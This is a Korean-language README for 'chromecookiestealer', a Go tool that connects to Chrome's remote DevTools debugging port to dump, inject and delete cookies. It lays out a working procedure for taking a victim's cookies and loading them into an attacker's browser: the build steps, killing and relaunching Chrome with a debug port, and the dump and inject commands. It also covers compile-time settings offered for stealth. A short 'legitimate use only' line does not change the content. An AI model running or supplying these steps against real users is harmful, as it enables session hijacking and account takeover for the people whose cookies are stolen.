
DevTools (--remote-debugging-port) 프로토콜을 통해 Chrome 쿠키를 훔치거나 주입합니다.
Chrome의 원격 DevTools 프로토콜을 사용하여 Chrome에 연결하고 쿠키를 도용/주입/삭제/제거합니다.
다음에 크게 영감을 받았습니다: WhiteChocolateMacademiaNut.
쿠키는 Chrome 자체 형식을 사용하여 JSON 객체로 덤프됩니다. 로드할 쿠키에도 동일한 형식이 사용됩니다.
합법적인 용도로만 사용하십시오.
피해자의 쿠키 도용:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # 대상에 따라 다름
./chromecookiestealer -dump ./cookies.json
공격자의 로컬 브라우저에 주입:
# 위와 같이 디버그 포트로 Chrome 시작
./chromecookiestealer -clear -inject ./cookies.json
사용법: chromecookiestealer [옵션]
원격 DevTools 프로토콜(--remote-debugging-port)을 사용하여 Chrome에 연결하고,
순서대로 요청에 따라 다음을 수행합니다:
- 쿠키 덤프
- 쿠키 삭제
- 쿠키 주입
- 선택한 쿠키 삭제
삭제할 쿠키의 매개변수는 다음 문자열 필드를 포함하는 JSON 객체 배열로 표현되어야 합니다:
name - 제거할 쿠키의 이름.
url - 지정된 경우, 도메인과 경로가 제공된 URL과 일치하는 주어진 이름의 모든 쿠키를 삭제합니다.
domain - 지정된 경우, 정확히 일치하는 도메인의 쿠키만 삭제합니다.
path - 지정된 경우, 정확히 일치하는 경로의 쿠키만 삭제합니다.
파일 이름은 stdin/stdout에 대해 "-"일 수 있습니다.
옵션:
-chrome URL
Chrome 원격 디버깅 URL (기본값 "ws://127.0.0.1:9222")
-clear
브라우저 쿠키 삭제
-delete file
삭제할 쿠키의 매개변수가 포함된 파일 이름
-dump file
도용된 쿠키를 덤프할 파일 이름
-inject file
주입할 쿠키가 포함된 파일 이름
-no-summary
종료 시 요약 출력 안 함
-verbose
상세 로깅 활성화
go build만으로 충분합니다. 다음은 약간의 대상 은밀성을 위해
-ldflags '-X main.Foo=bar'로 컴파일 시 설정할 수 있습니다.
위의 항목은 기본적으로 설정되지 않습니다.
Chrome DevTools 프로토콜은 약간 변동성이 있습니다. 이 프로그램이 작동을 멈출 경우 최신 버전의 chromedp 및 cdproto 라이브러리를 사용해야 할 수 있습니다. 다음 명령으로 수행할 수 있습니다:
go get -u -v all
go mod tidy
go build
이는 다른 모든 것을 망가뜨리는 부작용을 일으킬 수도 있습니다.
¯\_(ツ)_/¯
| 변수 | 설명 |
|---|
| DumpFile | 쿠키를 덤프할 파일 이름입니다. -dump를 암시합니다. |
| InjectFile | 쿠키를 주입할 파일 이름입니다. -inject를 암시합니다. |
| DeleteFile | 삭제할 쿠키를 설명하는 매개변수가 있는 파일 이름입니다. -delete를 암시합니다. |
| DoClear | 임의의 값으로 설정되면 -clear를 암시합니다. |